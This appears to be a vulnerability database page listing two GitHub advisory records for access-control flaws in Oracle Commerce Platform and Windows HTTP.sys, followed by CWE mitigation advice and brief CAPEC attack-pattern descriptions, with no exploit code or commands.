Vulnerability from github – Published: 2026-07-22 00:32 – Updated: 2026-07-22 00:32Vulnerability in the Oracle Commerce Platform product of Oracle Commerce (component: Dynamo Application Framework). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Commerce Platform. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Commerce Platform accessible data as well as unauthorized access to critical data or complete access to all Oracle Commerce Platform accessible data. CVSS 3.1 Base Score 6.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N).
{
"affected": [],
"aliases": [
"CVE-2026-61134"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:18:44Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle Commerce Platform product of Oracle Commerce (component: Dynamo Application Framework). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Commerce Platform. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Commerce Platform accessible data as well as unauthorized access to critical data or complete access to all Oracle Commerce Platform accessible data. CVSS 3.1 Base Score 6.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N).",
"id": "GHSA-cjjj-jp55-4rff",
"modified": "2026-07-22T00:32:18Z",
"published": "2026-07-22T00:32:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61134"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CJJJ-MHW7-F4XR
Vulnerability from github – Published: 2026-01-13 18:31 – Updated: 2026-01-13 18:31Improper access control in Windows HTTP.sys allows an authorized attacker to elevate privileges over a network.
{
"affected": [],
"aliases": [
"CVE-2026-20929"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T18:16:19Z",
"severity": "HIGH"
},
"details": "Improper access control in Windows HTTP.sys allows an authorized attacker to elevate privileges over a network.",
"id": "GHSA-cjjj-mhw7-f4xr",
"modified": "2026-01-13T18:31:10Z",
"published": "2026-01-13T18:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20929"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20929"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.